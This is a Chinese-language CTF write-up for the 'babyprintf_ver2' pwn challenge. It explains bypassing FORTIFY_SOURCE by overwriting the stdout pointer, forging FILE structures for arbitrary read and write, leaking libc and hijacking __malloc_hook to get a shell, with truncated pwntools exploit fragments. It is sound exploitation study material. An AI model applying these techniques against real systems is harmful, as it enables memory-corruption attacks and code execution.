babyprintf_ver2 复现
1 | ➜ 桌面 ./main |
1 | main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fb30593381079dbed29611d4cc5f9c4597b208b8, stripped |
64位,dynamically,开了NX,开了PIE,开了FORTIFY,Full RELRO
FORTIFY:FORTIFY_SOURCE 机制对格式化字符串有两个限制
- 包含%n的格式化字符串不能位于程序内存中的可写地址
- 当使用位置参数时,必须使用范围内的所有参数,所以如果要使用“%7$x”,你必须同时使用1,2,3,4,5,6
1 | GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release versio |
漏洞分析
1 | void __fastcall __noreturn main(int a1, char **a2, char **a3) |
有栈溢出,可以从溢出 .data 到 .bss
有格式化字符串漏洞,先看看stack中的数据:
1 | pwndbg> stack 50 |
1 | RAX 0x0 |
初步计算得知偏移为“73”,但程序开了FORTIFY,只能另寻他路
入侵思路
FORTIFY阻止了格式化字符串,这时就需要 stdout 任意读,这就需要劫持或伪造 stdout 的FILE结构体(看起来好像难以完成,似乎不可能控制该FILE结构体)
但在栈中有办法可以伪造FILE,程序使用了“stdout”关键字(并且没有初始化),所以“stdout”会出现在 .bss 中,可以通过覆盖“stdout”的值来伪造FILE结构体的位置
1 | .data:0000000000202010 ptr db 'hello world',0 |
先绕开PIE:
1 | p.recvuntil('So I change the buffer location to ') |
stdout 任意读需要的条件是:
- 设置
_flag &~ _IO_NO_WRITES
即_flag &~ 0x8
- 设置
_flag & _IO_CURRENTLY_PUTTING
即_flag | 0x800
- 设置
_fileno
为1 - 设置
_IO_write_base
指向想要泄露的地方 - 设置
_IO_write_ptr
指向泄露结束的地址 - 设置
_IO_read_end
等于_IO_write_base
或设置_flag & _IO_IS_APPENDING
(即_flag | 0x1000
) - 设置
_IO_write_end
等于_IO_write_ptr
(非必须)
1 | pwndbg> p* & *stdout |
1 | pwndbg> telescope 0x00007f9e532ca620 |
_flag 的伪造相对麻烦一点,其他的伪造只要知道程序基地址就行
1 | In [1]: 0xfbad2887&~0x8|0x800 |
下面这个函数是我从网上抄的,还挺好用:
1 | def FILE(_flags=0,_IO_read_ptr=0,_IO_read_end=0,_IO_read_base=0,_IO_write_base=0,_IO_write_ptr=0,_IO_write_end=0,_IO_buf_base=0,_IO_buf_end=1,_fileno=0,_chain=0): |
整体思路就是覆盖 .bss 上的“stdout”为一个可控地址,然后在这里写入 fake_IO
1 | pwndbg> telescope 0x55ff2a202010 |
1 | p.sendline("y") |
获取了基础信息,就需要用 stdout 任意写来获取shell了,stdout 任意写的条件是:
- 设置
_IO_write_ptr
指向write_start
(目标地址) - 设置
_IO_write_end
指向write_end
(目标地址结束)
注意:接下来的 stdout 任意写还是基于printf,所以“_flag|0x8000”这一步必须存在
1 | fake_IO_write = FILE(_flags = 0xfbada887,_IO_write_ptr = malloc_hook,_IO_write_end = malloc_hook + 8,_fileno = 0) |
程序会把输入的数据覆盖到 _IO_write_ptr
(mallo_hook),也就是把进行了 malloc_hook 劫持
其中 %n
可触发malloc的原因是在于: __readonly_area
会通过 fopen
打开 maps
文件来读取内容来判断地址段是否可写,而 fopen
会调用 malloc
函数申请空间,因此触发
在 printf
函数中会调用 _IO_acquire_lock_clear_flags2 (stdout)
来获取 lock
从而继续程序,如果没有 _IO_USER_LOCK
标志的话,程序会一直在循环,而 _IO_USER_LOCK
定义为 #define _IO_USER_LOCK 0x8000
,因此需要设置 flag|=0x8000
才能够使exp顺利进行
完整exp:
1 | from pwn import * |
小结:
这就是 IO_pwn 的最后一个内容了,另外还收获了一个很好用的模板